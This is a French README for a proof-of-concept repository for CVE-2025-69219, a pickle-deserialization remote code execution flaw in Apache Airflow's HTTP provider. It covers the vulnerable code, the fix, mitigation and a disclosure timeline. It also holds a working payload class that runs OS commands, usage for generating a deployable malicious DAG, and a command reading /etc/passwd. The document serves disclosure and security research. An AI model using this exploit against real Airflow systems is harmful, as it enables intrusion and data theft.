
Exploit de preuve de concept pour CVE-2025-69219, démontrant l'exécution de code à distance dans Apache Airflow Providers HTTP via une désérialisation pickle non sécurisée. Comprend des scripts PoC, une analyse technique et des conseils d'atténuation.
Sévérité : Élevée (CVSS 3.1 : 8.8) Vecteur :
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HCWE : CWE-913 — Contrôle inadéquat des ressources de code gérées dynamiquement Versions concernées :apache-airflow-providers-http >= 5.1.0, < 6.0.0Correction dans :apache-airflow-providers-http == 6.0.0Correctif : apache/airflow#61662 · commit 97839f7
Le fournisseur HTTP d'Apache Airflow utilisait le module pickle de Python pour sérialiser et désérialiser les réponses des déclencheurs HTTP pour les tâches différées. Le point d'entrée vulnérable dans ressemblait à ceci :
HttpOperator.execute_complete()# VULNÉRABLE (avant correctif) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
Le dictionnaire event est lu depuis la base de données d'Airflow, ce qui signifie que tout utilisateur ayant un accès en écriture à la base de données peut placer une charge utile pickle malveillante. Lorsque le processus Triggerer traite la tâche différée, il désérialise aveuglément cette charge utile, exécutant des commandes OS arbitraires avec les permissions du processus Triggerer — équivalent à un auteur de DAG.
pickle.loads() sur des données non fiables est une opération intrinsèquement dangereuse. Le protocole __reduce__ de pickle permet d'intégrer n'importe quel appelable Python dans l'objet sérialisé et de l'invoquer lors de la désérialisation, sans aucun sandboxing.
Le Triggerer d'Airflow sérialise la réponse HTTP au moment de la complétion et la stocke dans la base de données :
# triggers/http.py (avant correctif)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
Un attaquant au niveau de la base de données remplace cette valeur par un objet pickle fabriqué, par exemple :
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
Le Triggerer appelle ensuite execute_complete → pickle.loads() → RCE.
Le correctif remplace entièrement pickle par un sérialiseur JSON sûr et explicite :
# triggers/http.py (après correctif)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # dict JSON
})
# HttpResponseSerializer.deserialize() — valide que l'entrée est un dict, n'exécute jamais de code
if isinstance(data, str):
raise TypeError("Les données de réponse doivent être un dict, pas str")
Le nouveau désérialiseur ne reconstruit qu'un objet requests.Response à partir de champs connus (status_code, headers, content, etc.) — aucune exécution de code arbitraire n'est possible.
# Python 3.9+ ; installer une version vulnérable
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Reproduit l'appel vulnérable pickle.loads() dans le processus :
python poc.py
# ou avec une commande personnalisée :
python poc.py --cmd "whoami"
Sortie exemple :
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Désérialisation Pickle non sécurisée → RCE via HttpOperator
-------------------------------------------------------
[*] Commande : id
[*] Charge utile pickle : gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Déclenchement de la désérialisation (simulation de execute_complete) ...
uid=1000(utilisateur) gid=1000(utilisateur) groups=1000(utilisateur)
[+] os.system a retourné : 0 (0 = succès)
# Générer un DAG déployable
python poc.py --mode dag --cmd "id"
# Copier dans votre répertoire de DAGs Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Déclencher depuis l'interface Airflow ou la CLI
airflow dags trigger cve_2025_69219_poc
Consultez les logs de la tâche pour la sortie de la commande.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Facteur | Détail |
|---|---|
| Qui peut exploiter | Tout utilisateur ayant un accès en écriture directe à la base de données Airflow |
| Contexte d'exécution | Processus du Triggerer (mêmes permissions qu'un auteur de DAG) |
| Probabilité | Faible — l'accès direct à la base de données n'est pas standard dans les déploiements bien configurés |
| Rayon de l'explosion | RCE complète sur le nœud Triggerer : exfiltration de données, mouvement latéral, persistance |
apache-airflow-providers-http vers 6.0.0 ou version ultérieure.deferrable=True) sont terminées ou supprimées, car les tâches en cours sérialisées avec pickle lèveront une TypeError après la mise à jour (changement cassant documenté dans le changelog du fournisseur).pip install "apache-airflow-providers-http>=6.0.0"
| Date | Événement |
|---|---|
| 2026-03-09 | CVE publiée par Apache Software Foundation |
| 2026-03-09 | Correctif fusionné (PR #61662, commit 97839f7) |
| 2026-03-09 | Divulgué sur la liste de diffusion oss-security |
Le PoC de ce dépôt est basé sur le travail original de @ahmetartuc.
Cette preuve de concept est publiée à des fins éducatives et de recherche en sécurité uniquement. Testez-la uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Les auteurs ne sont pas responsables de toute utilisation abusive.